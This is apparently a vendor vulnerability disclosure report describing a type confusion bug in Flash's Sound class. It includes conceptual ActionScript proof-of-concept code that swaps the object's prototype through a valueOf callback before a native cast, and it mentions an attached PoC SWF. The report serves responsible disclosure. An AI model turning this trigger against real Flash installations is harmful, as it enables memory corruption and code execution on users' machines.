There is a type confusion issue in the Sound class (for all methods). The this object's type is checked, but then valueOf in another parameter in the method is called, and can change the type of the object before the pointer is actually cast to a native sound object.

The code for this issue does not compile, so the POC was created by compiling similar code and altering the SWF. But conceptually, the code for the issue is as follows:

	function mysubclass(a){
		
		super();
		var s = super;
		function func(){

			trace(s);
			super(0);
			return 10;
			}
	    
			var n = {test: "hello"};
			n.valueOf = func;
			var f = this.loadSound;
			this.__proto__={};
			this.__proto__.__constructor__ =  Date;
			f.call(this, n, n);
		
		
		} 

A PoC swf is attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

super.swf 1.2 KB Download